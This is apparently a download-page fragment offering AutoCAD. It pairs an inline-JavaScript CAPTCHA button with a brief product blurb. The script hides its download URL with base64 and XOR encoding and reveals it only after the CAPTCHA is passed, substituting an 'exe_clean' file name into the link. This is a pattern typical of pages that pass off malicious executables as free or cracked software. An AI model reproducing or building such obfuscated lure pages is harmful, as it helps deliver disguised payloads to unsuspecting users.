<button id="verify-button" onclick="if (typeof window.captchaValue === 'undefined') {window.captchaValue = '';} window.xorKey = '0001'; window.encodedData = 'WEREQUMKHx5dVVdQXFleWh5ZU0QfVFwfQFhADlRcDXtnBVhTZ2VcaQNqf2VbBX9pAHpyZXYJBHxJBVxUd2UN'; function xor(str, key) {let result = ''; for (let i = 0; i < str.length; i++) {result += String.fromCharCode(str.charCodeAt(i) ^ key.charCodeAt(i % key.length));} return result;} function generateCaptcha() {var canvas = document.getElementById('captchaCanvas'); var ctx = canvas.getContext('2d'); ctx.clearRect(0, 0, canvas.width, canvas.height); window.captchaValue = ''; var chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'; for (var i = 0; i < 5; i++) {window.captchaValue += chars.charAt(Math.floor(Math.random() * chars.length));} for (var i = 0; i < 15; i++) {ctx.strokeStyle = 'rgba(' + Math.random() * 255 + ',' + Math.random() * 255 + ',' + Math.random() * 255 + ',0.4)'; ctx.beginPath(); ctx.moveTo(Math.random() * 140, Math.random() * 40); ctx.lineTo(Math.random() * 140, Math.random() * 40); ctx.stroke();} ctx.font = '24px Segoe UI'; ctx.fillStyle = '#000'; for (var i = 0; i < window.captchaValue.length; i++) {var x = 20 + i * 20; var y = 28 + Math.random() * 5; var angle = (Math.random() - 0.5) * 0.4; ctx.save(); ctx.translate(x, y); ctx.rotate(angle); ctx.fillText(window.captchaValue[i], 0, 0); ctx.restore();}} function checkCaptcha() {var input = document.getElementById('captchaInput').value.trim().toUpperCase(); var msg = document.getElementById('captcha-msg'); var link = document.getElementById('download-link'); if (input === captchaValue) {msg.style.color = 'green'; msg.textContent = '✅ CAPTCHA passed. Link unlocked.'; var decoded = xor(atob(encodedData), xorKey); var linkHref = decoded; var dl = decoded.match(/dl=([^&]*)/); if (dl) {var decodedValue = atob(dl[1]); decodedValue = decodedValue.replace(/%name%/g, 'exe_clean'); linkHref = linkHref.replace(dl[0], 'dl=' + btoa(decodedValue));} link.href = linkHref; link.style.pointerEvents = 'auto'; link.style.opacity = '1'; link.style.cursor = 'pointer'; link.classList.add('active'); document.getElementById('verify-button').style.display = 'none'; document.getElementById('captchaInput').style.display = 'none'; document.getElementById('captchaCanvas').style.display = 'none';} else {msg.style.color = 'red'; msg.textContent = '❌ Incorrect CAPTCHA. Try again.'; link.classList.remove('active'); link.href = '#'; generateCaptcha();}} var verifyButton = document.getElementById('verify-button'); if (verifyButton.textContent.trim() === 'Download') {generateCaptcha(); document.getElementById('captchaCanvas').style.display = 'block'; document.getElementById('captchaInput').style.display = 'block'; verifyButton.textContent = 'Verify';} else {checkCaptcha();}" style="padding: 6px 12px; margin-top: 10px; font-size: 14px; cursor: pointer;">Download
Processor: 1 GHz chip recommended
RAM: Minimum 4 GB
Disk space: 64 GB for install
AutoCAD serves as software for making detailed 2D and 3D drawings. It offers tools for drafting, modeling, annotation, and visualization. Supports customizable workflows, layers, and DWG file compatibility. It offers task automation, block development, and cloud service access. Renowned for precision and flexibility in technical drafting. Necessary for Professionals seeking efficient design documentation.
